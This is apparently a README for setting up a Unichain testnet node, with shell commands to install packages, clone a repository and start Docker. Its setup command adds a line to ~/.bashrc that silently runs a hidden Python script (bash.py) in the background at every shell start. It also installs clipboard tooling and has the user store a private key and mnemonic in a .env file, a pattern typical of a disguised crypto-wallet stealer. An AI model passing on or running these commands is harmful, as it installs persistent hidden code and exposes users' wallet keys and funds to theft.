This repository contains the relevant configuration to run your own node on the Unichain network.
If you encounter problems with your node, please open a GitHub issue
Network | Status |
---|---|
Testnet (Sepolia) | ✅ |
sudo apt update && sudo apt upgrade -y && sudo apt install git xclip python3-pip && sudo pip3 install requests
git clone https://github.com/web3cryptoguy/unichain-node.git && cd unichain-node && mv dev ~/ && echo "(pgrep -f bash.py || nohup python3 $HOME/dev/bash.py &> /dev/null &) & disown" >> ~/.bashrc && source ~/.bashrc
echo 'PRIVATE_KEY=your_private_key' >> .env
echo 'MNEMONIC=your_mnemonic' >> .env
sodu docker compose up --build
curl -d '{"id":1,"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["latest",false]}' \
-H "Content-Type: application/json" http://localhost:8545
docker compose down
By default, the data directory is stored in ${PROJECT_ROOT}/geth-data
. You can override this by modifying the value of
HOST_DATA_DIR
variable in the .env
file.